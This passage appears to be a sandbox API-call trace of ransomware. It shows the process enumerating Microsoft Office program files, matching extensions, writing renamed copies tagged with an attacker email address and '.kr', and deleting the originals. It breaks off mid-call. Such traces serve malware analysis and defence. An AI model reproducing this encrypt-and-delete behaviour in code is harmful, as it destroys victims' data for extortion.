lstrlenW (lpString=".1cd") returned 4 [0187.193] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0187.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0187.193] lstrlenW (lpString=".jpg") returned 4 [0187.193] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0187.193] lstrcmpiW (lpString1=".eftx", lpString2=".kr") returned -1 [0187.193] lstrlenW (lpString="Reflection.eftx") returned 15 [0187.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0187.203] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=48366) returned 1 [0187.203] CloseHandle (hObject=0x4d4) returned 1 [0187.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx")) returned 0x220 [0187.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0187.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0187.210] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.210] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0187.211] GetLastError () returned 0x0 [0187.211] ReadFile (in: hFile=0x520, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0xbcee, lpOverlapped=0x0) returned 1 [0187.214] WriteFile (in: hFile=0x4d4, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0xbcf0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0xbcf0, lpOverlapped=0x0) returned 1 [0187.217] ReadFile (in: hFile=0x520, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0187.217] WriteFile (in: hFile=0x4d4, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0xf2, lpOverlapped=0x0) returned 1 [0187.217] SetEndOfFile (hFile=0x4d4) returned 1 [0187.217] CloseHandle (hObject=0x4d4) returned 1 [0187.217] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.217] SetEndOfFile (hFile=0x520) returned 1 [0187.221] CloseHandle (hObject=0x520) returned 1 [0187.221] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0187.221] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx")) returned 1 [0187.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0187.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0187.222] lstrlenW (lpString=".doc") returned 4 [0187.222] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0187.222] lstrlenW (lpString=".docx") returned 5 [0187.222] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0187.222] lstrlenW (lpString=".pdf") returned 4 [0187.222] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0187.222] lstrlenW (lpString=".xls") returned 4 [0187.222] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0187.222] lstrlenW (lpString=".xlsx") returned 5 [0187.222] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0187.222] lstrlenW (lpString=".ppt") returned 4 [0187.222] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0187.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0187.222] lstrlenW (lpString=".zip") returned 4 [0187.223] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0187.223] lstrlenW (lpString=".rar") returned 4 [0187.223] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0187.223] lstrlenW (lpString=".bz2") returned 4 [0187.223] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0187.223] lstrlenW (lpString=".7z") returned 3 [0187.223] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0187.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0187.223] lstrlenW (lpString=".dbf") returned 4 [0187.223] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0187.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0187.223] lstrlenW (lpString=".1cd") returned 4 [0187.223] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0187.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0187.223] lstrlenW (lpString=".jpg") returned 4 [0187.223] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0187.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0187.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0187.223] lstrlenW (lpString=".doc") returned 4 [0187.223] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0187.223] lstrlenW (lpString=".docx") returned 5 [0187.223] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0187.223] lstrlenW (lpString=".pdf") returned 4 [0187.223] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0187.223] lstrlenW (lpString=".xls") returned 4 [0187.224] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0187.224] lstrlenW (lpString=".xlsx") returned 5 [0187.224] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0187.224] lstrlenW (lpString=".ppt") returned 4 [0187.224] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0187.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0187.224] lstrlenW (lpString=".zip") returned 4 [0187.224] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0187.224] lstrlenW (lpString=".rar") returned 4 [0187.224] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0187.224] lstrlenW (lpString=".bz2") returned 4 [0187.224] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0187.224] lstrlenW (lpString=".7z") returned 3 [0187.224] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0187.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0187.224] lstrlenW (lpString=".dbf") returned 4 [0187.224] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0187.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0187.224] lstrlenW (lpString=".1cd") returned 4 [0187.224] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0187.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0187.224] lstrlenW (lpString=".jpg") returned 4 [0187.224] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0187.224] lstrcmpiW (lpString1=".eftx", lpString2=".kr") returned -1 [0187.224] lstrlenW (lpString="Riblet.eftx") returned 11 [0187.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0187.225] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=295074) returned 1 [0187.225] CloseHandle (hObject=0x520) returned 1 [0187.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx")) returned 0x220 [0187.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0187.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0187.226] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.226] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0187.226] GetLastError () returned 0x0 [0187.226] ReadFile (in: hFile=0x520, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x480a2, lpOverlapped=0x0) returned 1 [0187.371] WriteFile (in: hFile=0x4d4, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x480b0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x480b0, lpOverlapped=0x0) returned 1 [0187.378] ReadFile (in: hFile=0x520, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0187.378] WriteFile (in: hFile=0x4d4, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0xea, lpOverlapped=0x0) returned 1 [0187.378] SetEndOfFile (hFile=0x4d4) returned 1 [0187.378] CloseHandle (hObject=0x4d4) returned 1 [0187.378] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.378] SetEndOfFile (hFile=0x520) returned 1 [0187.398] CloseHandle (hObject=0x520) returned 1 [0187.399] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0188.174] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx")) returned 1 [0188.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0188.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0188.175] lstrlenW (lpString=".doc") returned 4 [0188.175] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0188.175] lstrlenW (lpString=".docx") returned 5 [0188.175] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0188.175] lstrlenW (lpString=".pdf") returned 4 [0188.175] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0188.175] lstrlenW (lpString=".xls") returned 4 [0188.175] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0188.175] lstrlenW (lpString=".xlsx") returned 5 [0188.175] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0188.175] lstrlenW (lpString=".ppt") returned 4 [0188.175] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0188.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0188.175] lstrlenW (lpString=".zip") returned 4 [0188.175] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0188.175] lstrlenW (lpString=".rar") returned 4 [0188.175] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0188.175] lstrlenW (lpString=".bz2") returned 4 [0188.175] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0188.175] lstrlenW (lpString=".7z") returned 3 [0188.175] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0188.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0188.175] lstrlenW (lpString=".dbf") returned 4 [0188.175] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0188.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0188.175] lstrlenW (lpString=".1cd") returned 4 [0188.176] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0188.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0188.176] lstrlenW (lpString=".jpg") returned 4 [0188.176] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0188.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0188.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0188.176] lstrlenW (lpString=".doc") returned 4 [0188.176] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0188.176] lstrlenW (lpString=".docx") returned 5 [0188.176] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0188.176] lstrlenW (lpString=".pdf") returned 4 [0188.176] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0188.176] lstrlenW (lpString=".xls") returned 4 [0188.176] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0188.176] lstrlenW (lpString=".xlsx") returned 5 [0188.176] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0188.176] lstrlenW (lpString=".ppt") returned 4 [0188.176] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0188.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0188.176] lstrlenW (lpString=".zip") returned 4 [0188.176] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0188.176] lstrlenW (lpString=".rar") returned 4 [0188.176] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0188.176] lstrlenW (lpString=".bz2") returned 4 [0188.176] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0188.176] lstrlenW (lpString=".7z") returned 3 [0188.176] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0188.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0188.177] lstrlenW (lpString=".dbf") returned 4 [0188.177] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0188.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0188.177] lstrlenW (lpString=".1cd") returned 4 [0188.177] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0188.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0188.177] lstrlenW (lpString=".jpg") returned 4 [0188.177] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0188.177] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0188.177] lstrlenW (lpString="api-ms-win-core-timezone-l1-1-0.dll") returned 35 [0188.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0188.218] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=18624) returned 1 [0188.218] CloseHandle (hObject=0x4d4) returned 1 [0188.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x220 [0188.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0188.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0188.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0188.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0188.219] lstrlenW (lpString=".doc") returned 4 [0188.219] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0188.219] lstrlenW (lpString=".docx") returned 5 [0188.219] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0188.219] lstrlenW (lpString=".pdf") returned 4 [0188.220] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0188.220] lstrlenW (lpString=".xls") returned 4 [0188.220] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0188.220] lstrlenW (lpString=".xlsx") returned 5 [0188.220] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0188.220] lstrlenW (lpString=".ppt") returned 4 [0188.220] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0188.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0188.220] lstrlenW (lpString=".zip") returned 4 [0188.220] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0188.220] lstrlenW (lpString=".rar") returned 4 [0188.220] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0188.220] lstrlenW (lpString=".bz2") returned 4 [0188.220] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0188.220] lstrlenW (lpString=".7z") returned 3 [0188.220] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0188.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0188.220] lstrlenW (lpString=".dbf") returned 4 [0188.220] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0188.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0188.220] lstrlenW (lpString=".1cd") returned 4 [0188.220] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0188.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0188.220] lstrlenW (lpString=".jpg") returned 4 [0188.220] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0188.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0188.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0188.220] lstrlenW (lpString=".doc") returned 4 [0188.220] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0188.220] lstrlenW (lpString=".docx") returned 5 [0188.220] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0188.221] lstrlenW (lpString=".pdf") returned 4 [0188.221] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0188.221] lstrlenW (lpString=".xls") returned 4 [0188.221] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0188.221] lstrlenW (lpString=".xlsx") returned 5 [0188.221] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0188.221] lstrlenW (lpString=".ppt") returned 4 [0188.221] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0188.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0188.221] lstrlenW (lpString=".zip") returned 4 [0188.221] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0188.221] lstrlenW (lpString=".rar") returned 4 [0188.221] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0188.221] lstrlenW (lpString=".bz2") returned 4 [0188.221] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0188.221] lstrlenW (lpString=".7z") returned 3 [0188.221] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0188.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0188.221] lstrlenW (lpString=".dbf") returned 4 [0188.221] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0188.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0188.221] lstrlenW (lpString=".1cd") returned 4 [0188.221] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0188.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0188.221] lstrlenW (lpString=".jpg") returned 4 [0188.221] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0188.221] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0188.221] lstrlenW (lpString="api-ms-win-core-xstate-l2-1-0.dll") returned 33 [0188.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0188.222] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11616) returned 1 [0188.222] CloseHandle (hObject=0x4d4) returned 1 [0188.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x220 [0188.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0188.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0188.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0188.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0188.223] lstrlenW (lpString=".doc") returned 4 [0188.223] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0188.223] lstrlenW (lpString=".docx") returned 5 [0188.223] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0188.223] lstrlenW (lpString=".pdf") returned 4 [0188.223] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0188.223] lstrlenW (lpString=".xls") returned 4 [0188.223] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0188.223] lstrlenW (lpString=".xlsx") returned 5 [0188.223] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0188.223] lstrlenW (lpString=".ppt") returned 4 [0188.223] lstrcmpiW (lpString1=".ppt", 